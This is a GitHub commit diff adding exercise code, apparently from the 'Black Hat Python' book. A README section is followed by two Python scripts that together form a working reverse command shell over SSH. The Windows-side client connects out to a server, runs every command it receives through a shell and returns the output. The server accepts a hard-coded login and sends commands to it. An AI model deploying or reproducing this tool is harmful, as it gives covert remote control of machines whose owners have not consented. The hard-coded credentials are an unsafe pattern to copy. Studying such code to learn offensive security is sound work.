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ssh windows client and ssh server
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DhanushNehru committed Jun 19, 2024
1 parent bb50652 commit 7c6f499
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8 changes: 8 additions & 0 deletions Black Hat Python/chapter_02/README.md
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Expand Up @@ -24,6 +24,14 @@ sudo python3 proxy.py 127.0.0.1 21 ftp.sun.ac.za 21 True

### ssh_cmd.py

Script to run Linux Client over SSH
```
python3 ssh_cmd.py
```

### ssh_rcmd.py

Script to run Windows Client over SSH
```
python3 ssh_rcmd.py
```
37 changes: 37 additions & 0 deletions Black Hat Python/chapter_02/ssh_rcmd.py
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import paramiko
import shlex
import subprocess
import getpass

# Code has to be run on windows machine

def ssh_command(ip, port, user, passwd, command):
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip, port=port, username=user, password=passwd)

ssh_session = client.get_transport().open_session()
if ssh_session.active:
ssh_session.send(command)
print(ssh_session.recv(1024).decode())

while True:
command = ssh_session.recv(1024)
try:
cmd = command.decode()
if cmd == 'exit':
client.close()
break
cmd_output = subprocess.check_output(shlex.split(cmd), shell=True)
ssh_session.send(cmd_output or 'okay')
except Exception as e:
ssh_session.send(str(e))
client.close()
return

if __name__ == '__main__':
user = getpass.getuser()
password = getpass.getpass()
ip = input('Enter server IP: ')
port = input('Enter port: ')
ssh_command(ip, port, user, password, 'ClientConnected')
66 changes: 66 additions & 0 deletions Black Hat Python/chapter_02/ssh_server.py
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import os
import paramiko
import socket
import sys
import threading

CWD = os.path.dirname(os.path.realpath(__file__))
HOSTKEY = paramiko.RSAKey(filename=os.path.join(CWD, 'test_rsa.key'))

class Server(paramiko.ServerInterface):
def __init__(self):
self.event = threading.Event()

def check_channel_request(self, kind, chanid):
if kind == 'session':
return paramiko.OPEN_SUCCEEDED
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED

def check_auth_password(self, username, password):
if (username == 'tim') and (password == 'sekret'):
return paramiko.AUTH_SUCCESSFUL
return paramiko.AUTH_FAILED

if __name__ == '__main__':
server = input('Enter server IP: ')
ssh_port = int(input('Enter SSH port: '))

try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((server, ssh_port))
sock.listen(100)
print('[+] Listening for connection ...')
client, addr = sock.accept()
except Exception as e:
print('[-] Listen failed: ' + str(e))
sys.exit(1)
else:
print('[+] Got a connection!', client, addr)
bhSession = paramiko.Transport(client)
bhSession.add_server_key(HOSTKEY)
server = Server()
bhSession.start_server(server=server)

chan = bhSession.accept(20)
if chan is None:
print('*** No channel.')
sys.exit(1)
print('[+] Authenticated!')
print(chan.recv(1024).decode())
chan.send('Welcome to bh_ssh')

try:
while True:
command = input("Enter command: ")
if command != 'exit':
chan.send(command)
r = chan.recv(8192)
print(r.decode())
else:
chan.send('exit')
print('exiting')
bhSession.close()
break
except KeyboardInterrupt:
bhSession.close()

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